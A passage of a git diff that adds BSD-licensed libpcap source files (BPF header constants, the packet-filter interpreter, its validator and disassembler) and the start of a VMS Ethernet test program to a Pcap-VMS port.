programs that use these codes will + * continue to compile - even though they won't correctly read + * files of these types. + */ +#ifdef __NetBSD__ +#ifndef DLT_SLIP_BSDOS +#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */ +#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */ +#endif +#else +#define DLT_SLIP_BSDOS 15 /* BSD/OS Serial Line IP */ +#define DLT_PPP_BSDOS 16 /* BSD/OS Point-to-point Protocol */ +#endif + +#define DLT_ATM_CLIP 19 /* Linux Classical-IP over ATM */ + +/* + * These values are defined by NetBSD; other platforms should refrain from + * using them for other purposes, so that NetBSD savefiles with link + * types of 50 or 51 can be read as this type on all platforms. + */ +#define DLT_PPP_SERIAL 50 /* PPP over serial with HDLC encapsulation */ +#define DLT_PPP_ETHER 51 /* PPP over Ethernet */ + +/* + * Values between 100 and 103 are used in capture file headers as + * link-layer types corresponding to DLT_ types that differ + * between platforms; don't use those values for new DLT_ new types. + */ + +/* + * This value was defined by libpcap 0.5; platforms that have defined + * it with a different value should define it here with that value - + * a link type of 104 in a save file will be mapped to DLT_C_HDLC, + * whatever value that happens to be, so programs will correctly + * handle files with that link type regardless of the value of + * DLT_C_HDLC. + * + * The name DLT_C_HDLC was used by BSD/OS; we use that name for source + * compatibility with programs written for BSD/OS. + * + * libpcap 0.5 defined it as DLT_CHDLC; we define DLT_CHDLC as well, + * for source compatibility with programs written for libpcap 0.5. + */ +#define DLT_C_HDLC 104 /* Cisco HDLC */ +#define DLT_CHDLC DLT_C_HDLC + +#define DLT_IEEE802_11 105 /* IEEE 802.11 wireless */ + +/* + * 106 is reserved for Linux Classical IP over ATM; it's like DLT_RAW, + * except when it isn't. (I.e., sometimes it's just raw IP, and + * sometimes it isn't.) We currently handle it as DLT_LINUX_SLL, + * so that we don't have to worry about the link-layer header.) + */ + +/* + * Frame Relay; BSD/OS has a DLT_FR with a value of 11, but that collides + * with other values. + * DLT_FR and DLT_FRELAY packets start with the Q.922 Frame Relay header + * (DLCI, etc.). + */ +#define DLT_FRELAY 107 + +/* + * OpenBSD DLT_LOOP, for loopback devices; it's like DLT_NULL, except + * that the AF_ type in the link-layer header is in network byte order. + * + * OpenBSD defines it as 12, but that collides with DLT_RAW, so we + * define it as 108 here. If OpenBSD picks up this file, it should + * define DLT_LOOP as 12 in its version, as per the comment above - + * and should not use 108 as a DLT_ value. + */ +#define DLT_LOOP 108 + +/* + * Values between 109 and 112 are used in capture file headers as + * link-layer types corresponding to DLT_ types that might differ + * between platforms; don't use those values for new DLT_ types + * other than the corresponding DLT_ types. + */ + +/* + * This is for Linux cooked sockets. + */ +#define DLT_LINUX_SLL 113 + +/* + * Apple LocalTalk hardware. + */ +#define DLT_LTALK 114 + +/* + * Acorn Econet. + */ +#define DLT_ECONET 115 + +/* + * Reserved for use with OpenBSD ipfilter. + */ +#define DLT_IPFILTER 116 + +/* + * Reserved for use in capture-file headers as a link-layer type + * corresponding to OpenBSD DLT_PFLOG; DLT_PFLOG is 17 in OpenBSD, + * but that's DLT_LANE8023 in SuSE 6.3, so we can't use 17 for it + * in capture-file headers. + */ +#define DLT_PFLOG 117 + +/* + * Registered for Cisco-internal use. + */ +#define DLT_CISCO_IOS 118 + +/* + * Reserved for 802.11 cards using the Prism II chips, with a link-layer + * header including Prism monitor mode information plus an 802.11 + * header. + */ +#define DLT_PRISM_HEADER 119 + +/* + * Reserved for Aironet 802.11 cards, with an Aironet link-layer header + * (see Doug Ambrisko's FreeBSD patches). + */ +#define DLT_AIRONET_HEADER 120 + +/* + * Reserved for Siemens HiPath HDLC. + */ +#define DLT_HHDLC 121 + +/* + * This is for RFC 2625 IP-over-Fibre Channel. + * + * This is not for use with raw Fibre Channel, where the link-layer + * header starts with a Fibre Channel frame header; it's for IP-over-FC, + * where the link-layer header starts with an RFC 2625 Network_Header + * field. + */ +#define DLT_IP_OVER_FC 122 + +/* + * This is for Full Frontal ATM on Solaris with SunATM, with a + * pseudo-header followed by an AALn PDU. + * + * There may be other forms of Full Frontal ATM on other OSes, + * with different pseudo-headers. + * + * If ATM software returns a pseudo-header with VPI/VCI information + * (and, ideally, packet type information, e.g. signalling, ILMI, + * LANE, LLC-multiplexed traffic, etc.), it should not use + * DLT_ATM_RFC1483, but should get a new DLT_ value, so tcpdump + * and the like don't have to infer the presence or absence of a + * pseudo-header and the form of the pseudo-header. + */ +#define DLT_SUNATM 123 /* Solaris+SunATM */ + +/* + * Reserved as per request from Kent Dahlgren + * for private use + */ + +#define DLT_RIO 124 /* RapidIO */ +#define DLT_PCI_EXP 125 /* PCI Express */ +#define DLT_AURORA 126 /* Xilinx Aurora link layer */ + +/* + * The instruction encodings. + */ +/* instruction classes */ +#define BPF_CLASS(code) ((code) & 0x07) +#define BPF_LD 0x00 +#define BPF_LDX 0x01 +#define BPF_ST 0x02 +#define BPF_STX 0x03 +#define BPF_ALU 0x04 +#define BPF_JMP 0x05 +#define BPF_RET 0x06 +#define BPF_MISC 0x07 + +/* ld/ldx fields */ +#define BPF_SIZE(code) ((code) & 0x18) +#define BPF_W 0x00 +#define BPF_H 0x08 +#define BPF_B 0x10 +#define BPF_MODE(code) ((code) & 0xe0) +#define BPF_IMM 0x00 +#define BPF_ABS 0x20 +#define BPF_IND 0x40 +#define BPF_MEM 0x60 +#define BPF_LEN 0x80 +#define BPF_MSH 0xa0 + +/* alu/jmp fields */ +#define BPF_OP(code) ((code) & 0xf0) +#define BPF_ADD 0x00 +#define BPF_SUB 0x10 +#define BPF_MUL 0x20 +#define BPF_DIV 0x30 +#define BPF_OR 0x40 +#define BPF_AND 0x50 +#define BPF_LSH 0x60 +#define BPF_RSH 0x70 +#define BPF_NEG 0x80 +#define BPF_JA 0x00 +#define BPF_JEQ 0x10 +#define BPF_JGT 0x20 +#define BPF_JGE 0x30 +#define BPF_JSET 0x40 +#define BPF_SRC(code) ((code) & 0x08) +#define BPF_K 0x00 +#define BPF_X 0x08 + +/* ret - BPF_K and BPF_X also apply */ +#define BPF_RVAL(code) ((code) & 0x18) +#define BPF_A 0x10 + +/* misc */ +#define BPF_MISCOP(code) ((code) & 0xf8) +#define BPF_TAX 0x00 +#define BPF_TXA 0x80 + +/* + * The instruction data structure. + */ +struct bpf_insn { + u_short code; + u_char jt; + u_char jf; + bpf_int32 k; +}; + +/* + * Macros for insn array initializers. + */ +#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k } +#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k } + +#if defined(BSD) && (defined(KERNEL) || defined(_KERNEL)) +/* + * Systems based on non-BSD kernels don't have ifnet's (or they don't mean + * anything if it is in ) and won't work like this. + */ +# if __STDC__ +extern void bpf_tap(struct ifnet *, u_char *, u_int); +extern void bpf_mtap(struct ifnet *, struct mbuf *); +extern void bpfattach(struct ifnet *, u_int, u_int); +extern void bpfilterattach(int); +# else +extern void bpf_tap(); +extern void bpf_mtap(); +extern void bpfattach(); +extern void bpfilterattach(); +# endif /* __STDC__ */ +#endif /* BSD && (_KERNEL || KERNEL) */ +#if __STDC__ || defined(__cplusplus) +extern int bpf_validate(struct bpf_insn *, int); +extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); +#else +extern int bpf_validate(); +extern u_int bpf_filter(); +#endif + +/* + * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST). + */ +#define BPF_MEMWORDS 16 + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Pcap-VMS/pcap-vci/bpf_dump.c b/Pcap-VMS/pcap-vci/bpf_dump.c new file mode 100644 index 00000000..ea64eb04 --- /dev/null +++ b/Pcap-VMS/pcap-vci/bpf_dump.c @@ -0,0 +1,62 @@ +/* + * Copyright (c) 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.13 2002/03/24 23:21:51 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +void +bpf_dump(struct bpf_program *p, int option) +{ + struct bpf_insn *insn; + int i; + int n = p->bf_len; + + insn = p->bf_insns; + if (option > 2) { + printf("%d\n", n); + for (i = 0; i < n; ++insn, ++i) { + printf("%u %u %u %u\n", insn->code, + insn->jt, insn->jf, insn->k); + } + return ; + } + if (option > 1) { + for (i = 0; i < n; ++insn, ++i) + printf("{ 0x%x, %d, %d, 0x%08x },\n", + insn->code, insn->jt, insn->jf, insn->k); + return; + } + for (i = 0; i < n; ++insn, ++i) { +#ifdef BDEBUG + extern int bids[]; + printf(bids[i] > 0 ? "[%02d]" : " -- ", bids[i] - 1); +#endif + puts(bpf_image(insn, i)); + } +} diff --git a/Pcap-VMS/pcap-vci/bpf_filter.c b/Pcap-VMS/pcap-vci/bpf_filter.c new file mode 100644 index 00000000..52061ba8 --- /dev/null +++ b/Pcap-VMS/pcap-vci/bpf_filter.c @@ -0,0 +1,562 @@ +/*- + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from the Stanford/CMU enet packet filter, + * (net/enet.c) distributed as part of 4.3BSD, and code contributed + * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence + * Berkeley Laboratory. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)bpf.c 7.5 (Berkeley) 7/15/91 + */ + +#if !(defined(lint) || defined(KERNEL) || defined(_KERNEL)) +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.38 2002/08/02 03:44:22 guy Exp $ (LBL)"; +#endif + +#ifdef WIN32 + +#include + +#else /* WIN32 */ + +#ifdef VMS +#include "pcap-vms.h" +#else +#include +#include +#include + +#define SOLARIS (defined(sun) && (defined(__SVR4) || defined(__svr4__))) +#if defined(__hpux) || SOLARIS +# include +# include +# define mbuf msgb +# define m_next b_cont +# define MLEN(m) ((m)->b_wptr - (m)->b_rptr) +# define mtod(m,t) ((t)(m)->b_rptr) +#else +# define MLEN(m) ((m)->m_len) +#endif + +#endif /* VMS */ +#endif /* WIN32 */ + +#ifdef VMS +#include "bpf.h" +#else +#include +#endif // VMS + +#if !defined(KERNEL) && !defined(_KERNEL) +#include +#endif + +#define int32 bpf_int32 +#define u_int32 bpf_u_int32 + +#ifndef LBL_ALIGN +#if defined(sparc) || defined(mips) || defined(ibm032) || \ + defined(__alpha) || defined(__hpux) +#define LBL_ALIGN +#endif +#endif + +#ifndef LBL_ALIGN +#ifndef WIN32 +#include +#endif + +#define EXTRACT_SHORT(p) ((u_short)ntohs(*(u_short *)p)) +#define EXTRACT_LONG(p) (ntohl(*(u_int32 *)p)) +#else +#define EXTRACT_SHORT(p)\ + ((u_short)\ + ((u_short)*((u_char *)p+0)<<8|\ + (u_short)*((u_char *)p+1)<<0)) +#define EXTRACT_LONG(p)\ + ((u_int32)*((u_char *)p+0)<<24|\ + (u_int32)*((u_char *)p+1)<<16|\ + (u_int32)*((u_char *)p+2)<<8|\ + (u_int32)*((u_char *)p+3)<<0) +#endif + +#if defined(KERNEL) || defined(_KERNEL) +# if !defined(__hpux) && !SOLARIS +#include +# endif +#define MINDEX(len, _m, _k) \ +{ \ + len = MLEN(m); \ + while ((_k) >= len) { \ + (_k) -= len; \ + (_m) = (_m)->m_next; \ + if ((_m) == 0) \ + return 0; \ + len = MLEN(m); \ + } \ +} + +static int +m_xword(m, k, err) + register struct mbuf *m; + register int k, *err; +{ + register int len; + register u_char *cp, *np; + register struct mbuf *m0; + + MINDEX(len, m, k); + cp = mtod(m, u_char *) + k; + if (len - k >= 4) { + *err = 0; + return EXTRACT_LONG(cp); + } + m0 = m->m_next; + if (m0 == 0 || MLEN(m0) + len - k < 4) + goto bad; + *err = 0; + np = mtod(m0, u_char *); + switch (len - k) { + + case 1: + return (cp[0] << 24) | (np[0] << 16) | (np[1] << 8) | np[2]; + + case 2: + return (cp[0] << 24) | (cp[1] << 16) | (np[0] << 8) | np[1]; + + default: + return (cp[0] << 24) | (cp[1] << 16) | (cp[2] << 8) | np[0]; + } + bad: + *err = 1; + return 0; +} + +static int +m_xhalf(m, k, err) + register struct mbuf *m; + register int k, *err; +{ + register int len; + register u_char *cp; + register struct mbuf *m0; + + MINDEX(len, m, k); + cp = mtod(m, u_char *) + k; + if (len - k >= 2) { + *err = 0; + return EXTRACT_SHORT(cp); + } + m0 = m->m_next; + if (m0 == 0) + goto bad; + *err = 0; + return (cp[0] << 8) | mtod(m0, u_char *)[0]; + bad: + *err = 1; + return 0; +} +#endif + +/* + * Execute the filter program starting at pc on the packet p + * wirelen is the length of the original packet + * buflen is the amount of data present + * For the kernel, p is assumed to be a pointer to an mbuf if buflen is 0, + * in all other cases, p is a pointer to a buffer and buflen is its size. + */ +u_int +bpf_filter(pc, p, wirelen, buflen) + register struct bpf_insn *pc; + register u_char *p; + u_int wirelen; + register u_int buflen; +{ + register u_int32 A, X; + register int k; + int32 mem[BPF_MEMWORDS]; +#if defined(KERNEL) || defined(_KERNEL) + struct mbuf *m, *n; + int merr, len; + + if (buflen == 0) { + m = (struct mbuf *)p; + p = mtod(m, u_char *); + buflen = MLEN(m); + } else + m = NULL; +#endif + + if (pc == 0) + /* + * No filter means accept all. + */ + return (u_int)-1; + A = 0; + X = 0; + --pc; + while (1) { + ++pc; + switch (pc->code) { + + default: +#if defined(KERNEL) || defined(_KERNEL) + return 0; +#else + abort(); +#endif + case BPF_RET|BPF_K: + return (u_int)pc->k; + + case BPF_RET|BPF_A: + return (u_int)A; + + case BPF_LD|BPF_W|BPF_ABS: + k = pc->k; + if (k + sizeof(int32) > buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + A = m_xword(m, k, &merr); + if (merr != 0) + return 0; + continue; +#else + return 0; +#endif + } + A = EXTRACT_LONG(&p[k]); + continue; + + case BPF_LD|BPF_H|BPF_ABS: + k = pc->k; + if (k + sizeof(short) > buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + A = m_xhalf(m, k, &merr); + if (merr != 0) + return 0; + continue; +#else + return 0; +#endif + } + A = EXTRACT_SHORT(&p[k]); + continue; + + case BPF_LD|BPF_B|BPF_ABS: + k = pc->k; + if (k >= buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + n = m; + MINDEX(len, n, k); + A = mtod(n, u_char *)[k]; + continue; +#else + return 0; +#endif + } + A = p[k]; + continue; + + case BPF_LD|BPF_W|BPF_LEN: + A = wirelen; + continue; + + case BPF_LDX|BPF_W|BPF_LEN: + X = wirelen; + continue; + + case BPF_LD|BPF_W|BPF_IND: + k = X + pc->k; + if (k + sizeof(int32) > buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + A = m_xword(m, k, &merr); + if (merr != 0) + return 0; + continue; +#else + return 0; +#endif + } + A = EXTRACT_LONG(&p[k]); + continue; + + case BPF_LD|BPF_H|BPF_IND: + k = X + pc->k; + if (k + sizeof(short) > buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + A = m_xhalf(m, k, &merr); + if (merr != 0) + return 0; + continue; +#else + return 0; +#endif + } + A = EXTRACT_SHORT(&p[k]); + continue; + + case BPF_LD|BPF_B|BPF_IND: + k = X + pc->k; + if (k >= buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + n = m; + MINDEX(len, n, k); + A = mtod(n, u_char *)[k]; + continue; +#else + return 0; +#endif + } + A = p[k]; + continue; + + case BPF_LDX|BPF_MSH|BPF_B: + k = pc->k; + if (k >= buflen) { +#if defined(KERNEL) || defined(_KERNEL) + if (m == NULL) + return 0; + n = m; + MINDEX(len, n, k); + X = (mtod(n, char *)[k] & 0xf) << 2; + continue; +#else + return 0; +#endif + } + X = (p[pc->k] & 0xf) << 2; + continue; + + case BPF_LD|BPF_IMM: + A = pc->k; + continue; + + case BPF_LDX|BPF_IMM: + X = pc->k; + continue; + + case BPF_LD|BPF_MEM: + A = mem[pc->k]; + continue; + + case BPF_LDX|BPF_MEM: + X = mem[pc->k]; + continue; + + case BPF_ST: + mem[pc->k] = A; + continue; + + case BPF_STX: + mem[pc->k] = X; + continue; + + case BPF_JMP|BPF_JA: + pc += pc->k; + continue; + + case BPF_JMP|BPF_JGT|BPF_K: + pc += (A > pc->k) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JGE|BPF_K: + pc += (A >= pc->k) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JEQ|BPF_K: + pc += (A == pc->k) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JSET|BPF_K: + pc += (A & pc->k) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JGT|BPF_X: + pc += (A > X) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JGE|BPF_X: + pc += (A >= X) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JEQ|BPF_X: + pc += (A == X) ? pc->jt : pc->jf; + continue; + + case BPF_JMP|BPF_JSET|BPF_X: + pc += (A & X) ? pc->jt : pc->jf; + continue; + + case BPF_ALU|BPF_ADD|BPF_X: + A += X; + continue; + + case BPF_ALU|BPF_SUB|BPF_X: + A -= X; + continue; + + case BPF_ALU|BPF_MUL|BPF_X: + A *= X; + continue; + + case BPF_ALU|BPF_DIV|BPF_X: + if (X == 0) + return 0; + A /= X; + continue; + + case BPF_ALU|BPF_AND|BPF_X: + A &= X; + continue; + + case BPF_ALU|BPF_OR|BPF_X: + A |= X; + continue; + + case BPF_ALU|BPF_LSH|BPF_X: + A <<= X; + continue; + + case BPF_ALU|BPF_RSH|BPF_X: + A >>= X; + continue; + + case BPF_ALU|BPF_ADD|BPF_K: + A += pc->k; + continue; + + case BPF_ALU|BPF_SUB|BPF_K: + A -= pc->k; + continue; + + case BPF_ALU|BPF_MUL|BPF_K: + A *= pc->k; + continue; + + case BPF_ALU|BPF_DIV|BPF_K: + A /= pc->k; + continue; + + case BPF_ALU|BPF_AND|BPF_K: + A &= pc->k; + continue; + + case BPF_ALU|BPF_OR|BPF_K: + A |= pc->k; + continue; + + case BPF_ALU|BPF_LSH|BPF_K: + A <<= pc->k; + continue; + + case BPF_ALU|BPF_RSH|BPF_K: + A >>= pc->k; + continue; + + case BPF_ALU|BPF_NEG: + A = -A; + continue; + + case BPF_MISC|BPF_TAX: + X = A; + continue; + + case BPF_MISC|BPF_TXA: + A = X; + continue; + } + } +} + + +/* + * Return true if the 'fcode' is a valid filter program. + * The constraints are that each jump be forward and to a valid + * code. The code must terminate with either an accept or reject. + * 'valid' is an array for use by the routine (it must be at least + * 'len' bytes long). + * + * The kernel needs to be able to verify an application's filter code. + * Otherwise, a bogus program could easily crash the system. + */ +int +bpf_validate(f, len) + struct bpf_insn *f; + int len; +{ + register int i; + register struct bpf_insn *p; + + for (i = 0; i < len; ++i) { + /* + * Check that that jumps are forward, and within + * the code block. + */ + p = &f[i]; + if (BPF_CLASS(p->code) == BPF_JMP) { + register int from = i + 1; + + if (BPF_OP(p->code) == BPF_JA) { + if (from + p->k >= (unsigned)len) + return 0; + } + else if (from + p->jt >= len || from + p->jf >= len) + return 0; + } + /* + * Check that memory operations use valid addresses. + */ + if ((BPF_CLASS(p->code) == BPF_ST || + (BPF_CLASS(p->code) == BPF_LD && + (p->code & 0xe0) == BPF_MEM)) && + (p->k >= BPF_MEMWORDS || p->k < 0)) + return 0; + /* + * Check for constant division by 0. + */ + if (p->code == (BPF_ALU|BPF_DIV|BPF_K) && p->k == 0) + return 0; + } + return BPF_CLASS(f[len - 1].code) == BPF_RET; +} diff --git a/Pcap-VMS/pcap-vci/bpf_image.c b/Pcap-VMS/pcap-vci/bpf_image.c new file mode 100644 index 00000000..7ed1eeeb --- /dev/null +++ b/Pcap-VMS/pcap-vci/bpf_image.c @@ -0,0 +1,291 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.25 2002/03/24 23:21:51 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include "pcap-int.h" + +#ifdef VMS +#include "pcap-vms.h" +#endif // VMS +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +char * +bpf_image(p, n) + struct bpf_insn *p; + int n; +{ + int v; + char *fmt, *op; + static char image[256]; + char operand[64]; + + v = p->k; + switch (p->code) { + + default: + op = "unimp"; + fmt = "0x%x"; + v = p->code; + break; + + case BPF_RET|BPF_K: + op = "ret"; + fmt = "#%d"; + break; + + case BPF_RET|BPF_A: + op = "ret"; + fmt = ""; + break; + + case BPF_LD|BPF_W|BPF_ABS: + op = "ld"; + fmt = "[%d]"; + break; + + case BPF_LD|BPF_H|BPF_ABS: + op = "ldh"; + fmt = "[%d]"; + break; + + case BPF_LD|BPF_B|BPF_ABS: + op = "ldb"; + fmt = "[%d]"; + break; + + case BPF_LD|BPF_W|BPF_LEN: + op = "ld"; + fmt = "#pktlen"; + break; + + case BPF_LD|BPF_W|BPF_IND: + op = "ld"; + fmt = "[x + %d]"; + break; + + case BPF_LD|BPF_H|BPF_IND: + op = "ldh"; + fmt = "[x + %d]"; + break; + + case BPF_LD|BPF_B|BPF_IND: + op = "ldb"; + fmt = "[x + %d]"; + break; + + case BPF_LD|BPF_IMM: + op = "ld"; + fmt = "#0x%x"; + break; + + case BPF_LDX|BPF_IMM: + op = "ldx"; + fmt = "#0x%x"; + break; + + case BPF_LDX|BPF_MSH|BPF_B: + op = "ldxb"; + fmt = "4*([%d]&0xf)"; + break; + + case BPF_LD|BPF_MEM: + op = "ld"; + fmt = "M[%d]"; + break; + + case BPF_LDX|BPF_MEM: + op = "ldx"; + fmt = "M[%d]"; + break; + + case BPF_ST: + op = "st"; + fmt = "M[%d]"; + break; + + case BPF_STX: + op = "stx"; + fmt = "M[%d]"; + break; + + case BPF_JMP|BPF_JA: + op = "ja"; + fmt = "%d"; + v = n + 1 + p->k; + break; + + case BPF_JMP|BPF_JGT|BPF_K: + op = "jgt"; + fmt = "#0x%x"; + break; + + case BPF_JMP|BPF_JGE|BPF_K: + op = "jge"; + fmt = "#0x%x"; + break; + + case BPF_JMP|BPF_JEQ|BPF_K: + op = "jeq"; + fmt = "#0x%x"; + break; + + case BPF_JMP|BPF_JSET|BPF_K: + op = "jset"; + fmt = "#0x%x"; + break; + + case BPF_JMP|BPF_JGT|BPF_X: + op = "jgt"; + fmt = "x"; + break; + + case BPF_JMP|BPF_JGE|BPF_X: + op = "jge"; + fmt = "x"; + break; + + case BPF_JMP|BPF_JEQ|BPF_X: + op = "jeq"; + fmt = "x"; + break; + + case BPF_JMP|BPF_JSET|BPF_X: + op = "jset"; + fmt = "x"; + break; + + case BPF_ALU|BPF_ADD|BPF_X: + op = "add"; + fmt = "x"; + break; + + case BPF_ALU|BPF_SUB|BPF_X: + op = "sub"; + fmt = "x"; + break; + + case BPF_ALU|BPF_MUL|BPF_X: + op = "mul"; + fmt = "x"; + break; + + case BPF_ALU|BPF_DIV|BPF_X: + op = "div"; + fmt = "x"; + break; + + case BPF_ALU|BPF_AND|BPF_X: + op = "and"; + fmt = "x"; + break; + + case BPF_ALU|BPF_OR|BPF_X: + op = "or"; + fmt = "x"; + break; + + case BPF_ALU|BPF_LSH|BPF_X: + op = "lsh"; + fmt = "x"; + break; + + case BPF_ALU|BPF_RSH|BPF_X: + op = "rsh"; + fmt = "x"; + break; + + case BPF_ALU|BPF_ADD|BPF_K: + op = "add"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_SUB|BPF_K: + op = "sub"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_MUL|BPF_K: + op = "mul"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_DIV|BPF_K: + op = "div"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_AND|BPF_K: + op = "and"; + fmt = "#0x%x"; + break; + + case BPF_ALU|BPF_OR|BPF_K: + op = "or"; + fmt = "#0x%x"; + break; + + case BPF_ALU|BPF_LSH|BPF_K: + op = "lsh"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_RSH|BPF_K: + op = "rsh"; + fmt = "#%d"; + break; + + case BPF_ALU|BPF_NEG: + op = "neg"; + fmt = ""; + break; + + case BPF_MISC|BPF_TAX: + op = "tax"; + fmt = ""; + break; + + case BPF_MISC|BPF_TXA: + op = "txa"; + fmt = ""; + break; + } + (void)snprintf(operand, sizeof operand, fmt, v); + (void)snprintf(image, sizeof image, + (BPF_CLASS(p->code) == BPF_JMP && + BPF_OP(p->code) != BPF_JA) ? + "(%03d) %-8s %-16s jt %d\tjf %d" + : "(%03d) %-8s %s", + n, op, operand, n + 1 + p->jt, n + 1 + p->jf); + return image; +} diff --git a/Pcap-VMS/pcap-vci/eth_test.c b/Pcap-VMS/pcap-vci/eth_test.c new file mode 100644 index 00000000..c827f473 --- /dev/null +++ b/Pcap-VMS/pcap-vci/eth_test.c @@ -0,0 +1,278 @@ + +#include /* Character type classification macros/routines */ +#include /* For VMS descriptor manipulation */ +#include /* I/O function code definitions */ +#include /* System service return status code definitions */ +#include /* System library routine prototypes */ +#include /* ANSI C Standard Input/Output */ +#include /* General utilities */ +#include /* String handling */ +#include /* VMS status code definitions */ +#include "nmadef.h" /* NMA stuff */ + +#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL) +#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL) + +#pragma nomember_alignment + +struct parm_802e +{ + short pcli_fmt; /* Format - 802E */ + int fmt_value; + short pcli_bfn; + int bnf_value; +// short pcli_acc; + // int acc_value; + short pcli_prm; + int prm_value; + short pcli_pid; /* Protocol ID - 08-00-2B-90-00 */ + short pid_length; + unsigned char pid_value[5]; +} setparm_802e = { + NMA$C_PCLI_FMT, + NMA$C_LINFM_802E, + NMA$C_PCLI_BFN, + 255, +// NMA$C_PCLI_ACC, +// NMA$C_ACC_SHR, + NMA$C_PCLI_PRM, + NMA$C_STATE_ON, + NMA$C_PCLI_PID, 5, 8,0,0x2b,0x80,0x00 +}; + +typedef struct _hdr { + unsigned char dsap; + unsigned char ssap; + unsigned char ctl; + unsigned char pid[5]; + unsigned char da[6]; + unsigned char sa[6]; + unsigned char pty[2]; +} hdr, *hdrPtr; + +struct setparmdsc +{ + int parm_len; + void *parm_buffer; +}; + +struct setparmdsc setparmdsc_loop = 